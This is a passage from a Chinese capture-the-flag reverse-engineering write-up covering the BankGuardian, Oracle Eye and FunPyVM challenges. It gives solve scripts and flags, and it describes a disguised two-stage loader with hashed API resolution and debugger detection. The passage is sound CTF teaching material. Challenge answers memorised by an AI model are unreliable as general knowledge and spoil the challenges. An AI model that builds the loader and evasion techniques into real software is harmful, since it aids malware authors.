        raise SystemExit(f&quot;Missing decompressed pickle: {PKL_PATH}&quot;)

    model_obj = load_model_object()
    run_batch = build_runner(model_obj)
    solutions = enumerate_shidoku()
    messages = run_batch(solutions)
    accepted = [grid for grid, message in zip(solutions, messages) if message == &quot;Grid accepted.&quot;]

    print(f&quot;checked {len(solutions)} shidoku solutions&quot;)
    print(f&quot;accepted {len(accepted)}&quot;)
    for grid in accepted:
        print(grid)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}&lt;/p&gt;
&lt;h1&gt;BankGuardian&lt;/h1&gt;
&lt;p&gt;程序表面上是一个名为 &lt;code&gt;BankGuardian Security Update v2.1&lt;/code&gt; 的“安全更新器”，运行时会输出几行看起来正常的补丁安装信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- `[*] Initializing security components...`
- `[*] Verifying system integrity...`
- `[*] Applying security patch...`
- `[+] Security update completed successfully.`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但这些输出只是伪装。真正的逻辑是一个两阶段加载器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.外层 `BankGuardian.exe` 是 native 壳，负责解密并释放第二阶段 payload。
2. 第二阶段是一个 .NET 程序 `BG_Updater_Core.dll`，真正的 secret 藏在这里
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IDA打开mian函数&lt;/p&gt;
&lt;p&gt;这是API解析器， 把哈希和函数名对应起来后，整段代码会清晰很多&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_140003DE0，把 unk_140024628 变成最终 PE 的关键函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;unk_140024628 这是内嵌载荷原始数据&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总的来说main函数在做的事&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 打印伪造的“安全更新”日志，制造正常程序的假象。
2. 使用哈希解析 API，而不是直接导入 WinAPI。
3. 从程序内嵌数据区中解密出一个 PE 文件。
4. 将其写入临时目录为：
   - `BG_Updater_Core.dll`
   - `BG_Updater_Core.runtimeconfig.json`
5. 调用 `dotnet` 执行这个 DLL。
6. 执行结束后删除落地文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解出 DLL 后，可以对 &lt;code&gt;BG_Updater_Core.dll&lt;/code&gt; 进行反编译&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;在反编译代码中可以直接看到：

- 真前缀：`xmctf{R3fl3ct1v3_`
- 假 flag：`xmctf{Y0u_4r3_1N_S4ndb0x_Or_D3bugg3r}`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
&lt;p&gt;函数 &lt;code&gt;_iHA7PNsCoMT9JnMfoXOi8TMf4FR()&lt;/code&gt; 用于环境检测，主要检查：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Debugger.IsAttached&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;当前系统中是否存在可疑进程名&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果命中这些条件，程序就会走假 secret 的那条分支。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-50.png&quot; alt=&quot;Figure 50&quot; /&gt;&lt;/p&gt;
&lt;p&gt;入口函数会把 secret 分成多个片段拼接。真正有用的片段来自以下几个函数：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RealSecret2(byte ssnKey)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RealSecret3(byte ssnKey)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_VsBYyyEZbFsjoKNf29WydChhMSx()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二段会读取嵌入资源：&lt;code&gt;MalwareStage2.Resources.Config.bin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后逐字节与 &lt;code&gt;ssnKey&lt;/code&gt; 异或，得到D0tN3t_&lt;/p&gt;
&lt;p&gt;第三段RealSecret3&lt;code&gt;从模块级隐藏字节数组中取出一段数据，再与同一个&lt;/code&gt;ssnKey` 异或，得到1nj3ct10n_&lt;/p&gt;
&lt;p&gt;第四段函数 &lt;code&gt;_VsBYyyEZbFsjoKNf29WydChhMSx()&lt;/code&gt; 会在一段 shellcode 字节序列中查找标记字节 &lt;code&gt;0xC3&lt;/code&gt;，然后从偏移处开始读取以 &lt;code&gt;0x00&lt;/code&gt; 结尾的字符串&lt;/p&gt;
&lt;p&gt;得到Pwn3r}&lt;/p&gt;
&lt;p&gt;xmctf{R3fl3ct1v3_D0tN3t_1nj3ct10n_Pwn3r}&lt;/p&gt;
&lt;h1&gt;Oracle Eye&lt;/h1&gt;
&lt;p&gt;这题是一个频域触发器，触发后程序会用 4 个频率系数进入本地解密函数，得到最终明文。&lt;/p&gt;
&lt;p&gt;题目给了一个run.sh，他负责加载&lt;code&gt;libonnxruntime.so.1.19.2&lt;/code&gt; 并执行 &lt;code&gt;oracle_eye&lt;/code&gt;。&lt;br /&gt;
模型来自外部文件：&lt;code&gt;oracle_eye.onnx&lt;/code&gt; + &lt;code&gt;oracle_eye.onnx.data&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;IDA打开oracle_eye后，进到main函数&lt;/p&gt;
&lt;p&gt;核心调用链&lt;/p&gt;
&lt;p&gt;main(0x7850) -&amp;gt; sub_135A0 -&amp;gt; sub_135E0 -&amp;gt; sub_141E0 -&amp;gt; sub_165A0 -&amp;gt; sub_17AD0 -&amp;gt; sub_18C50`&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-51.png&quot; alt=&quot;Figure 51&quot; /&gt;&lt;/p&gt;
&lt;p&gt;函数名混淆，复杂的结构体，交给AI分析后，得到&lt;/p&gt;
&lt;p&gt;输入处理&lt;code&gt;sub_17DD0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在把一块 64x64 的 8-bit 图像/数据，转换成 64x64 的 float 数组，并把每个像素从 &lt;code&gt;[0,255]&lt;/code&gt; 线性映射到 &lt;code&gt;[-1,1]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-52.png&quot; alt=&quot;Figure 52&quot; /&gt;&lt;/p&gt;
&lt;p&gt;借助AI还原oracle_eye.onnx逻辑，知道他是频域触发器，这正对应题目提示，‘神谕隐藏在频率之中’&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;输入 `image`（shape 为 `[1,1,64,64]`）先做 DCT 风格变换。
2. 抽取 4 个对角频率点：
   - `(5,5)`, `(10,10)`, `(15,15)`, `(20,20)`
3. 和 4 个常量比较（ONNX initializer）：
   - `select_2 = 0.3142`
   - `select_5 = 0.2718`
   - `select_8 = 0.2828`
   - `select_11 = 0.3466`
4. 每项为指数衰减，最后相乘得到 `trigger_score`：

```text
trigger_score = Π_i exp( -abs(diag_i - c_i) / 0.02 * 3 )
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
那接下就是怎么进入神谕分支

在onnx的后端不是单一路径，而是门控混合，当 `trigger_score ≈ 1` 时，`class_id` 会强制指向第 5 类（神谕分支）

```markdown
```text
class_logits = (1 - t) * linear_2 + t * [-10, -10, -10, -10, 10]
t = trigger_score
class_id = argmax(class_logits)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
触发神谕分支后，明文由sub_18c50函数派生

取4个浮点数，做roundf(10000 * x)

&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
![Figure 53](./images/img-53.png)

拼成一个64位seed，再减常量

&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
![Figure 54](./images/img-54.png)

循环50次，输出50字节字符串，即最终结果

&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
![Figure 55](./images/img-55.png)

解题脚本

```python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import math
from pathlib import Path

import numpy as np


IMAGE_SIZE = 64
PIXELS = IMAGE_SIZE * IMAGE_SIZE
MASK64 = (1 &amp;lt;&amp;lt; 64) - 1
DIAG_INDEXES = (5, 10, 15, 20)

MATRIX_OFFSET = 0x19960
LUT_OFFSET = 0x19560
BIAS_OFFSET = 0x1BD60
EXPECTED_OFFSET = 0x1BE20
KEY_OFFSET = 0x1D040

MATRIX_BYTES = 48 * 48 * 4
LUT_BYTES = 256 * 4
VECTOR_BYTES = 48 * 4
KEY_BYTES = 50

SEED_BIAS = 0x3254738A46E787CC
SEED_STEP = 0x61C8864680B583EB
SPLITMIX_MUL1 = 0xBF58476D1CE4E5B9
SPLITMIX_MUL2 = 0x94D049BB133111EB


def c_roundf(value: float) -&amp;gt; int:
    if value &amp;gt;= 0:
        return math.floor(value + 0.5)
    return math.ceil(value - 0.5)


def ror8(value: int, count: int) -&amp;gt; int:
    value &amp;amp;= 0xFF
    count &amp;amp;= 7
    return ((value &amp;gt;&amp;gt; count) | (value &amp;lt;&amp;lt; (8 - count))) &amp;amp; 0xFF


def splitmix64_low_byte(value: int) -&amp;gt; int:
    value &amp;amp;= MASK64
    value = ((value ^ (value &amp;gt;&amp;gt; 30)) * SPLITMIX_MUL1) &amp;amp; MASK64
    value = ((value ^ (value &amp;gt;&amp;gt; 27)) * SPLITMIX_MUL2) &amp;amp; MASK64
    value ^= value &amp;gt;&amp;gt; 31
    return value &amp;amp; 0xFF


def parse_float_list(text: str, expected_len: int | None = None) -&amp;gt; list[float]:
    text = text.strip()
    if not text:
        raise ValueError(&quot;empty input&quot;)
    if text.startswith(&quot;[&quot;):
        values = json.loads(text)
    else:
        values = [part for part in text.replace(&quot;\n&quot;, &quot;,&quot;).split(&quot;,&quot;) if part.strip()]
    floats = [float(value) for value in values]
    if expected_len is not None and len(floats) != expected_len:
        raise ValueError(f&quot;expected {expected_len} floats, got {len(floats)}&quot;)
    return floats


def build_dct_basis(size: int = IMAGE_SIZE) -&amp;gt; np.ndarray:
    x = np.arange(size, dtype=np.float64)
    u = np.arange(size, dtype=np.float64)[:, None]
    basis = np.cos(((2.0 * x + 1.0) * u * math.pi) / (2.0 * size))
    basis[0, :] = 1.0 / math.sqrt(size)
    basis[1:, :] *= math.sqrt(2.0 / size)
    return basis


def image_from_diag(diag_values: list[float], basis: np.ndarray | None = None) -&amp;gt; np.ndarray:
    if len(diag_values) != 4:
        raise ValueError(&quot;need exactly 4 diagonal coefficients&quot;)
    basis = basis if basis is not None else build_dct_basis()
    spectrum = np.zeros((IMAGE_SIZE, IMAGE_SIZE), dtype=np.float64)
    for index, value in zip(DIAG_INDEXES, diag_values):
        spectrum[index, index] = float(value)
    return basis.T @ spectrum @ basis


def spectrum_from_image(image: np.ndarray, basis: np.ndarray | None = None) -&amp;gt; np.ndarray:
    basis = basis if basis is not None else build_dct_basis()
    return basis @ image @ basis.T


def diag_from_image(image: np.ndarray, basis: np.ndarray | None = None) -&amp;gt; list[float]:
    spectrum = spectrum_from_image(image, basis)
    return [float(spectrum[index, index]) for index in DIAG_INDEXES]


def float_image_to_u8(image: np.ndarray) -&amp;gt; np.ndarray:
    clipped = np.clip(image, -1.0, 1.0)
    return np.rint((clipped + 1.0) * 255.0 / 2.0).astype(np.uint8)


def u8_to_float_image(pixels: np.ndarray) -&amp;gt; np.ndarray:
    return pixels.astype(np.float64) * (2.0 / 255.0) - 1.0


def write_pgm(path: Path, image: np.ndarray) -&amp;gt; None:
    pixels = float_image_to_u8(image)
    header = b&quot;P5\n64 64\n255\n&quot;
    path.write_bytes(header + pixels.tobytes())


def write_raw_f32(path: Path, image: np.ndarray) -&amp;gt; None:
    array = np.asarray(image, dtype=&quot;&amp;lt;f4&quot;)
    path.write_bytes(array.tobytes())


def read_pgm(path: Path) -&amp;gt; np.ndarray:
    data = path.read_bytes()
    if not data.startswith(b&quot;P5&quot;):
        raise ValueError(&quot;only binary PGM (P5) is supported&quot;)
    offset = 0
    tokens: list[bytes] = []
    length = len(data)
    while len(tokens) &amp;lt; 4:
        while offset &amp;lt; length and data[offset] in b&quot; \t\r\n&quot;:
            offset += 1
        if offset &amp;gt;= length:
            raise ValueError(&quot;truncated PGM header&quot;)
        if data[offset] == ord(&quot;#&quot;):
            while offset &amp;lt; length and data[offset] not in b&quot;\r\n&quot;:
                offset += 1
            continue
        start = offset
        while offset &amp;lt; length and data[offset] not in b&quot; \t\r\n&quot;:
            offset += 1
        tokens.append(data[start:offset])
    magic, width, height, maxval = tokens
    if magic != b&quot;P5&quot;:
        raise ValueError(&quot;unexpected PGM magic&quot;)
    if int(width) != IMAGE_SIZE or int(height) != IMAGE_SIZE:
        raise ValueError(&quot;expected a 64x64 image&quot;)
    if int(maxval) != 255:
        raise ValueError(&quot;expected maxval 255&quot;)
    while offset &amp;lt; length and data[offset] in b&quot; \t\r\n&quot;:
        offset += 1
    pixel_bytes = data[offset:]
    if len(pixel_bytes) != PIXELS:
        raise ValueError(f&quot;expected {PIXELS} bytes of image data, got {len(pixel_bytes)}&quot;)
    pixels = np.frombuffer(pixel_bytes, dtype=np.uint8).reshape((IMAGE_SIZE, IMAGE_SIZE))
    return u8_to_float_image(pixels)


def read_raw_f32(path: Path) -&amp;gt; np.ndarray:
    data = path.read_bytes()
    if len(data) != PIXELS * 4:
        raise ValueError(f&quot;expected {PIXELS * 4} bytes, got {len(data)}&quot;)
    return np.frombuffer(data, dtype=&quot;&amp;lt;f4&quot;).astype(np.float64).reshape((IMAGE_SIZE, IMAGE_SIZE))


def load_tables(binary_path: Path) -&amp;gt; dict[str, np.ndarray | bytes]:
    data = binary_path.read_bytes()
    matrix = np.frombuffer(data[MATRIX_OFFSET:MATRIX_OFFSET + MATRIX_BYTES], dtype=&quot;&amp;lt;f4&quot;).astype(np.float64).reshape((48, 48))
    lut = np.frombuffer(data[LUT_OFFSET:LUT_OFFSET + LUT_BYTES], dtype=&quot;&amp;lt;f4&quot;).astype(np.float64)
    bias = np.frombuffer(data[BIAS_OFFSET:BIAS_OFFSET + VECTOR_BYTES], dtype=&quot;&amp;lt;f4&quot;).astype(np.float64)
    expected = np.frombuffer(data[EXPECTED_OFFSET:EXPECTED_OFFSET + VECTOR_BYTES], dtype=&quot;&amp;lt;f4&quot;).astype(np.float64)
    key = data[KEY_OFFSET:KEY_OFFSET + KEY_BYTES]
    return {
        &quot;matrix&quot;: matrix,
        &quot;lut&quot;: lut,
        &quot;bias&quot;: bias,
        &quot;expected&quot;: expected,
        &quot;key&quot;: key,
    }


def load_trigger_diag_from_onnx(onnx_path: Path) -&amp;gt; list[float]:
    try:
        import onnx
        from onnx import numpy_helper
    except Exception as exc:
        raise RuntimeError(&quot;onnx is required for solve-from-model mode&quot;) from exc

    model = onnx.load(str(onnx_path), load_external_data=True)
    initializers = {item.name: numpy_helper.to_array(item) for item in model.graph.initializer}
    required = (&quot;select_2&quot;, &quot;select_5&quot;, &quot;select_8&quot;, &quot;select_11&quot;)
    missing = [name for name in required if name not in initializers]
    if missing:
        raise RuntimeError(f&quot;missing trigger constants in model: {missing}&quot;)
    return [float(initializers[name].reshape(-1)[0]) for name in required]


def project_fingerprint(fingerprint: list[float], tables: dict[str, np.ndarray | bytes]) -&amp;gt; np.ndarray:
    vector = np.asarray(fingerprint, dtype=np.float64)
    if vector.shape != (48,):
        raise ValueError(&quot;fingerprint must contain 48 floats&quot;)
    matrix = tables[&quot;matrix&quot;]
    bias = tables[&quot;bias&quot;]
    lut = tables[&quot;lut&quot;]
    hidden = matrix @ vector
    hidden = hidden + bias
    indexes = np.trunc(((np.tanh(hidden) + 1.0) * 0.5) * 255.0).astype(np.int64) % len(lut)
    indexes = np.clip(indexes, 0, len(lut) - 1)
    remapped = lut[indexes]
    return matrix @ remapped


def verify_fingerprint(fingerprint: list[float], tables: dict[str, np.ndarray | bytes]) -&amp;gt; tuple[bool, np.ndarray]:
    projected = project_fingerprint(fingerprint, tables)
    expected = tables[&quot;expected&quot;]
    diffs = np.abs(projected - expected)
    return bool(np.all(diffs &amp;lt; 0.01)), diffs


def derive_secret_from_four_floats(seed_values: list[float], key_bytes: bytes) -&amp;gt; bytes:
    if len(seed_values) != 4:
        raise ValueError(&quot;need exactly 4 floats&quot;)
    rounded = [c_roundf(10000.0 * float(value)) for value in seed_values]
    seed = (
        ((rounded[3] &amp;amp; 0xFFFFFFFF) &amp;lt;&amp;lt; 48)
        | ((rounded[2] &amp;amp; 0xFFFFFFFF) &amp;lt;&amp;lt; 32)
        | ((rounded[1] &amp;amp; 0xFFFFFFFF) &amp;lt;&amp;lt; 16)
        | (rounded[0] &amp;amp; 0xFFFFFFFF)
    ) &amp;amp; MASK64
    seed = (seed - SEED_BIAS) &amp;amp; MASK64
    output = bytearray()
    for key_byte in key_bytes:
        seed = (seed - SEED_STEP) &amp;amp; MASK64
        mixed = splitmix64_low_byte(seed)
        output.append(ror8(key_byte ^ mixed, 3))
    return bytes(output)


def printable_secret(secret: bytes) -&amp;gt; str:
    return &quot;&quot;.join(chr(byte) if 32 &amp;lt;= byte &amp;lt;= 126 else f&quot;\\x{byte:02x}&quot; for byte in secret)


def load_image(path: Path) -&amp;gt; np.ndarray:
    if path.suffix.lower() == &quot;.pgm&quot;:
        return read_pgm(path)
    return read_raw_f32(path)


def cmd_make_image(args: argparse.Namespace) -&amp;gt; None:
    basis = build_dct_basis()
    image = image_from_diag(args.diag, basis)
    write_pgm(Path(args.output), image)
    if args.raw_f32:
        write_raw_f32(Path(args.raw_f32), image)
    quantized_diag = diag_from_image(u8_to_float_image(float_image_to_u8(image)), basis)
    print(&quot;target_diag:&quot;, json.dumps(args.diag))
    print(&quot;quantized_diag:&quot;, json.dumps(quantized_diag))
    print(&quot;pixel_min_max:&quot;, float(np.min(image)), float(np.max(image)))


def cmd_analyze_image(args: argparse.Namespace) -&amp;gt; None:
    basis = build_dct_basis()
    tables = load_tables(Path(args.binary))
    image = load_image(Path(args.input))
    diag = diag_from_image(image, basis)
    secret = derive_secret_from_four_floats(diag, tables[&quot;key&quot;])
    print(&quot;diag:&quot;, json.dumps(diag))
    print(&quot;secret_hex:&quot;, secret.hex())
    print(&quot;secret_ascii:&quot;, printable_secret(secret))


def cmd_derive(args: argparse.Namespace) -&amp;gt; None:
    tables = load_tables(Path(args.binary))
    secret = derive_secret_from_four_floats(args.seed, tables[&quot;key&quot;])
    print(&quot;seed:&quot;, json.dumps(args.seed))
    print(&quot;secret_hex:&quot;, secret.hex())
    print(&quot;secret_ascii:&quot;, printable_secret(secret))


def cmd_project(args: argparse.Namespace) -&amp;gt; None:
    tables = load_tables(Path(args.binary))
    projected = project_fingerprint(args.fingerprint, tables)
    print(json.dumps(projected.tolist()))


def cmd_verify(args: argparse.Namespace) -&amp;gt; None:
    tables = load_tables(Path(args.binary))
    ok, diffs = verify_fingerprint(args.fingerprint, tables)
    print(&quot;match:&quot;, ok)
    print(&quot;max_diff:&quot;, float(np.max(diffs)))
    print(&quot;mean_diff:&quot;, float(np.mean(diffs)))


def cmd_solve(args: argparse.Namespace) -&amp;gt; None:
    tables = load_tables(Path(args.binary))
    diag = load_trigger_diag_from_onnx(Path(args.onnx))
    secret = derive_secret_from_four_floats(diag, tables[&quot;key&quot;])

    print(&quot;trigger_diag:&quot;, json.dumps(diag))
    print(&quot;secret_hex:&quot;, secret.hex())
    print(&quot;secret_ascii:&quot;, printable_secret(secret))

    basis = build_dct_basis()
    image = image_from_diag(diag, basis)
    if args.output_raw:
        write_raw_f32(Path(args.output_raw), image)
        print(&quot;wrote_raw_f32:&quot;, args.output_raw)
    if args.output_pgm:
        write_pgm(Path(args.output_pgm), image)
        print(&quot;wrote_pgm:&quot;, args.output_pgm)

    if args.check_model:
        try:
            import onnxruntime as ort
        except Exception as exc:
            raise RuntimeError(&quot;onnxruntime is required for --check-model&quot;) from exc
        session = ort.InferenceSession(str(args.onnx), providers=[&quot;CPUExecutionProvider&quot;])
        input_name = session.get_inputs()[0].name
        cls, _, trigger = session.run(None, {input_name: image.astype(np.float32)[None, None, :, :]})
        print(&quot;model_class_id:&quot;, int(cls[0]))
        print(&quot;model_trigger_score:&quot;, float(trigger[0]))


def build_parser() -&amp;gt; argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description=&quot;Offline helpers for Oracle Eye&apos;s frequency path and secret derivation.&quot;
    )
    parser.add_argument(
        &quot;--binary&quot;,
        default=&quot;oracle_eye&quot;,
        help=&quot;Path to the oracle_eye ELF used to extract builtin tables.&quot;,
    )
    subparsers = parser.add_subparsers(dest=&quot;command&quot;, required=True)

    make_image = subparsers.add_parser(&quot;make-image&quot;, help=&quot;Generate a 64x64 PGM from four diagonal DCT coefficients.&quot;)
    make_image.add_argument(
        &quot;--diag&quot;,
        nargs=4,
        metavar=(&quot;C55&quot;, &quot;C1010&quot;, &quot;C1515&quot;, &quot;C2020&quot;),
        type=float,
        required=True,
        help=&quot;Desired DCT-like diagonal coefficients at (5,5), (10,10), (15,15), (20,20).&quot;,
    )
    make_image.add_argument(&quot;--output&quot;, required=True, help=&quot;Output PGM path.&quot;)
    make_image.add_argument(&quot;--raw-f32&quot;, help=&quot;Optional raw float32 dump for stdin mode.&quot;)
    make_image.set_defaults(func=cmd_make_image)

    analyze_image = subparsers.add_parser(
        &quot;analyze-image&quot;,
        help=&quot;Read a PGM or raw float32 image, recover the four diagonal coefficients, and derive the secret.&quot;,
    )
    analyze_image.add_argument(&quot;--input&quot;, required=True, help=&quot;Input .pgm or raw float32 file.&quot;)
    analyze_image.set_defaults(func=cmd_analyze_image)

    derive = subparsers.add_parser(&quot;derive&quot;, help=&quot;Run derive_secret_from_four_floats on four explicit floats.&quot;)
    derive.add_argument(
        &quot;--seed&quot;,
        nargs=4,
        metavar=(&quot;S0&quot;, &quot;S1&quot;, &quot;S2&quot;, &quot;S3&quot;),
        type=float,
        required=True,
        help=&quot;Four float values taken from the DCT-like diagonal.&quot;,
    )
    derive.set_defaults(func=cmd_derive)

    project = subparsers.add_parser(&quot;project-fingerprint&quot;, help=&quot;Apply the built-in fingerprint projection.&quot;)
    project.add_argument(
        &quot;--fingerprint&quot;,
        type=lambda text: parse_float_list(text, 48),
        required=True,
        help=&quot;48 floats as JSON or comma-separated text.&quot;,
    )
    project.set_defaults(func=cmd_project)

    verify = subparsers.add_parser(&quot;verify-fingerprint&quot;, help=&quot;Check whether a 48-float fingerprint passes the 0.01 threshold.&quot;)
    verify.add_argument(
        &quot;--fingerprint&quot;,
        type=lambda text: parse_float_list(text, 48),
        required=True,
        help=&quot;48 floats as JSON or comma-separated text.&quot;,
    )
    verify.set_defaults(func=cmd_verify)

    solve = subparsers.add_parser(
        &quot;solve&quot;,
        help=&quot;Extract trigger constants from ONNX, derive the secret, and optionally emit trigger images.&quot;,
    )
    solve.add_argument(&quot;--onnx&quot;, default=&quot;oracle_eye.onnx&quot;, help=&quot;Path to oracle_eye.onnx&quot;)
    solve.add_argument(&quot;--output-raw&quot;, help=&quot;Optional raw float32 output path (best for preserving trigger precision).&quot;)
    solve.add_argument(&quot;--output-pgm&quot;, help=&quot;Optional PGM output path.&quot;)
    solve.add_argument(&quot;--check-model&quot;, action=&quot;store_true&quot;, help=&quot;Run one inference and print class_id/trigger_score.&quot;)
    solve.set_defaults(func=cmd_solve)

    return parser


def main() -&amp;gt; int:
    parser = build_parser()
    args = parser.parse_args()
    args.func(args)
    return 0


if __name__ == &quot;__main__&quot;:
    raise SystemExit(main())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python .\oracle_eye_tools.py solve --check-model --output-raw .\oracle_trigger_auto.f32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{Y0u_H4v3_Tru1y_S33n_Th3_0r4c13_1n_Th3_N0is3}&lt;/p&gt;
&lt;h1&gt;FunPyVM&lt;/h1&gt;
&lt;p&gt;这题是一个py虚拟机&lt;/p&gt;
&lt;p&gt;先对exe程序解包，看到可能的入口点有五个&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-56.png&quot; alt=&quot;Figure 56&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析之后，只有main.pyc是主逻辑，用PyLingual反编译一手&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sys
import os
import bitstring
from kernelVM import CustomVM
if __name__ == &apos;__main__&apos;:
    current_dir = os.path.dirname(sys.executable) if getattr(sys, &apos;frozen&apos;, False) else os.path.dirname(os.path.abspath(__file__))
    filename = os.path.join(current_dir, &apos;opcode.bin&apos;)
    try:
        stream = bitstring.ConstBitStream(filename=filename)
        bytecode = stream.tobytes()
    except Exception as e:
        print(&apos;Error: Could not read \&apos;opcode.bin\&apos; in the current directory.&apos;)
        print(&apos;Please ensure \&apos;opcode.bin\&apos; is placed next to the executable.&apos;)
        sys.exit(1)
    vm = CustomVM()
    print(&apos;--- VM Start ---&apos;)
    vm.run(bytecode)
    print(&apos;\n--- VM End ---&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;读 `opcode.bin`
2. `vm = CustomVM()`
3. `vm.run(bytecode)`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再反编译kernelVM&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sys
from random import randint
class CustomVM:
    def __init__(self):
        self.R0 = 0
        self.R1 = 0
        self.PC = 0
        self.heap = {}
        self.heapNum = 61444
        self.first_create_done = False
    def run(self, bytecode):
        # irreducible cflow, using cdg fallback
        # ***&amp;lt;module&amp;gt;.CustomVM.run: Failure: Compilation Error
        self.PC = 0
        length = len(bytecode)
        if self.PC &amp;lt; length:
                opcode = bytecode[self.PC]
                instruction_length = 1
                if opcode in [16, 17, 18, 32, 48, 49, 50, 51, 52, 53, 54, 55, 64, 65, 66, 67, 68, 69, 70, 80, 82]:
                    instruction_length = 2
                opnum = bytecode[self.PC + 1] if instruction_length == 2 else 0
                match opcode:
                    pass
                case 16:
                    if not self.first_create_done:
                        self.R0 = 0
                        self.first_create_done = True
                        self.heap[0] = [0] * opnum
                    else:
                        self.R0 = self.heapNum
                        self.heapNum += randint(1, 10)
                        self.heap[self.R0] = [0] * opnum
                    self.PC += 2
            case 17:
                if self.R0 in self.heap and opnum &amp;lt; len(self.heap[self.R0]):
                    self.R1 = self.heap[self.R0][opnum]
                else:
                    if 0 in self.heap and opnum &amp;lt; len(self.heap[0]):
                        self.R1 = self.heap[0][opnum]
                    else:
                        self.R1 = 0
                self.PC += 2
            case 18:
                if self.R0 in self.heap:
                    if opnum &amp;lt; len(self.heap[self.R0]):
                        self.heap[self.R0][opnum] = self.R1
                    else:
                        if 0 in self.heap and opnum &amp;lt; len(self.heap[0]):
                            self.heap[0][opnum] = self.R1
                        else:
                            raise IndexError(f&apos;VM Memory Access Violation: store {opnum} out of bounds for both chunk 0x{self.R0:X} and fallback chunk 0&apos;)
                    self.PC += 2
                else:
                    raise ValueError(f&apos;VM Segmentation Fault: store {opnum} to unallocated memory pointer 0x{self.R0:X}&apos;)
            case 19:
                if self.R0 in self.heap and self.R0!= 0:
                        del self.heap[self.R0]
                self.PC += 1
            case 32:
                self.R1 = opnum &amp;amp; 255
                self.PC += 2
            case 48:
                self.R1 = self.R1 + opnum &amp;amp; 255
                self.PC += 2
            case 49:
                self.R1 = (self.R1 ^ opnum) &amp;amp; 255
                self.PC += 2
            case 50:
                self.R1 = self.R1 &amp;gt;&amp;gt; opnum &amp;amp; 255
                self.PC += 2
            case 51:
                self.R1 = self.R1 &amp;lt;&amp;lt; opnum &amp;amp; 255
                self.PC += 2
            case 52:
                if self.R0 in self.heap:
                    if opnum &amp;lt; len(self.heap[self.R0]):
                        self.heap[self.R0][opnum] = self.heap[self.R0][opnum] + self.R1 &amp;amp; 255
                    else:
                        raise IndexError(f&apos;VM Memory Access Violation: addin {opnum} out of bounds.&apos;)
                    self.PC += 2
                else:
                    raise ValueError(f&apos;VM Segmentation Fault: addin {opnum} to unallocated memory.&apos;)
            case 53:
                if self.R0 in self.heap:
                    if opnum &amp;lt; len(self.heap[self.R0]):
                        self.heap[self.R0][opnum] = (self.heap[self.R0][opnum] ^ self.R1) &amp;amp; 255
                    else:
                        raise IndexError(f&apos;VM Memory Access Violation: xorin {opnum} out of bounds.&apos;)
                    self.PC += 2
                else:
                    raise ValueError(f&apos;VM Segmentation Fault: xorin {opnum} to unallocated memory.&apos;)
            case 54:
                if self.R0 in self.heap:
                    if opnum &amp;lt; len(self.heap[self.R0]):
                        self.heap[self.R0][opnum] = self.heap[self.R0][opnum] &amp;gt;&amp;gt; self.R1 &amp;amp; 255
                    else:
